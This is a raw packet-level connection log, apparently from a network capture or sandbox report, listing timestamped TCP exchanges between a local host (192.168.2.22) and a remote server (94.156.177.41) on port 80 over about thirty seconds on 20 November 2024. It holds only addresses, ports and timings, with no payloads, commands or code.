Nov 20, 2024 11:09:28.601366043 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:28.601424932 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:28.601486921 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.601520061 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.606456995 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:28.856169939 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.863059044 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:28.863143921 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.865047932 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.872365952 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:28.872432947 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:28.879033089 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.678623915 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.678703070 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.678802013 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.679014921 CET	49238	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.686788082 CET	80	49238	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.836702108 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.844477892 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.844563961 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.846641064 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.853863001 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:29.853943110 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:29.861638069 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.598742008 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.598767996 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.598870039 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.601013899 CET	49239	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.608398914 CET	80	49239	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.744384050 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.923508883 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.923743963 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.925380945 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.932981968 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:30.933082104 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:30.940761089 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.681325912 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.681384087 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.681515932 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.683305025 CET	49240	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.688133001 CET	80	49240	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.816620111 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.821755886 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.821846008 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.823512077 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.828385115 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:31.828471899 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:31.833411932 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.557110071 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.557245970 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.557260990 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.557331085 CET	49241	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.562182903 CET	80	49241	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.701534986 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.706547976 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.706676006 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.709058046 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.713892937 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:32.713977098 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:32.718877077 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.605262041 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.605325937 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.605446100 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.605518103 CET	49242	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.610429049 CET	80	49242	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.743163109 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.919831038 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.919929028 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.921736956 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.926830053 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:33.926911116 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:33.931854010 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.675167084 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.675285101 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.675390005 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.675496101 CET	49243	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.681360006 CET	80	49243	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.815888882 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.821077108 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.821163893 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.822855949 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.827914953 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:34.827985048 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:34.832928896 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.668055058 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.668087959 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.668170929 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.668216944 CET	49244	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.675754070 CET	80	49244	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.794576883 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.801915884 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.801985025 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.803652048 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.811049938 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:35.811111927 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:35.816056013 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.752933979 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.752959013 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.752971888 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.753021002 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.753067970 CET	49245	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.757976055 CET	80	49245	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.887836933 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.896991968 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.897068024 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.898722887 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.907443047 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:36.907516003 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:36.916390896 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.665819883 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.666071892 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.667335033 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.667412996 CET	49246	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.673948050 CET	80	49246	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.812587023 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.819885015 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.819981098 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.822323084 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.827261925 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:37.827332020 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:37.836492062 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.569812059 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.569861889 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.569971085 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.570019007 CET	49247	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.574889898 CET	80	49247	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.705238104 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.710345030 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.710433006 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.712826967 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.717725992 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:38.717822075 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:38.722712040 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.499545097 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.499572039 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.499696016 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.499773979 CET	49248	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.504812002 CET	80	49248	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.640361071 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.645431042 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.645543098 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.647249937 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.652201891 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:39.652335882 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:39.657464981 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.469007015 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.469093084 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.469108105 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.469130993 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.469163895 CET	49249	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.474030972 CET	80	49249	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.597676039 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.602725029 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.602796078 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.604469061 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.609349966 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:40.609402895 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:40.614367008 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.391279936 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.391427994 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.391468048 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.391819954 CET	49250	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.398932934 CET	80	49250	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.537741899 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.542603016 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.542671919 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.544437885 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.549289942 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:41.549340010 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:41.554270983 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.303117990 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.303354025 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.303493977 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.303555012 CET	49251	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.310054064 CET	80	49251	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.453895092 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.602610111 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.602746964 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.604454041 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.611584902 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:42.611715078 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:42.618391991 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.481375933 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.481482983 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.481518030 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.481596947 CET	49252	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.487716913 CET	80	49252	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.620413065 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.625374079 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.625447035 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.628057003 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.638573885 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:43.638685942 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:43.643579006 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.496330976 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.496397972 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.496460915 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.506514072 CET	49253	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.514313936 CET	80	49253	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.659183025 CET	49254	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.664280891 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.664361000 CET	49254	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.667074919 CET	49254	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.671977997 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:44.672058105 CET	49254	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:44.676984072 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.552701950 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.552782059 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.552872896 CET	49254	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:45.560204029 CET	80	49254	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.963196039 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:45.969471931 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.969562054 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:45.972708941 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:45.977726936 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:45.977790117 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:45.982737064 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:46.836325884 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:46.836458921 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:46.836510897 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:46.836540937 CET	49255	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:46.843780041 CET	80	49255	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.064491987 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.069732904 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.069793940 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.071502924 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.076365948 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.076412916 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.081290007 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.805121899 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.805176020 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:47.805329084 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.805546045 CET	49256	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:47.813494921 CET	80	49256	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.072324991 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.077481031 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.077574015 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.079220057 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.084136009 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.084264040 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.089194059 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.830760956 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.830987930 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.831382990 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.831446886 CET	49257	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.835846901 CET	80	49257	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.962769032 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.969948053 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.970026016 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.971710920 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.976560116 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:48.976619959 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:48.981450081 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.845029116 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.845185041 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.845370054 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.845676899 CET	49258	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.850272894 CET	80	49258	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.975398064 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.984066010 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.984149933 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.985842943 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.991019011 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:49.991080999 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:49.996485949 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.739392042 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.739411116 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.739485025 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.739485025 CET	49259	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.744961023 CET	80	49259	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.878643990 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.886665106 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.886739969 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.888453960 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.896085978 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:50.896157980 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:50.901020050 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.764324903 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.764360905 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.764420986 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.764451027 CET	49260	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.771157980 CET	80	49260	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.892802954 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.899765968 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.899868965 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.901511908 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.906440020 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:51.906529903 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:51.911711931 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:52.644270897 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:52.644423962 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:52.645479918 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:52.645536900 CET	49261	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:52.649858952 CET	80	49261	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:52.786588907 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:53.797863960 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:53.798048973 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:53.839478970 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:53.992160082 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:53.992288113 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:53.997164011 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:54.860554934 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:54.860848904 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:54.860924959 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:54.874110937 CET	49262	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:54.882822037 CET	80	49262	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:55.088159084 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:55.205104113 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:55.205218077 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:55.232420921 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:55.237579107 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:55.237642050 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:55.242727041 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.162249088 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.162266970 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.162277937 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.162434101 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.162503004 CET	49263	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.167363882 CET	80	49263	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.292306900 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.301135063 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.301273108 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.303037882 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.311984062 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:56.312045097 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:56.322295904 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.284970045 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.284989119 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.285140038 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.285146952 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.285187960 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.288341999 CET	49264	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.293292999 CET	80	49264	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.417721033 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.423409939 CET	80	49265	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.423471928 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.425153971 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.430061102 CET	80	49265	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:57.430145979 CET	49265	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:57.435163021 CET	80	49265	94.156.177.41	192.168.2.22
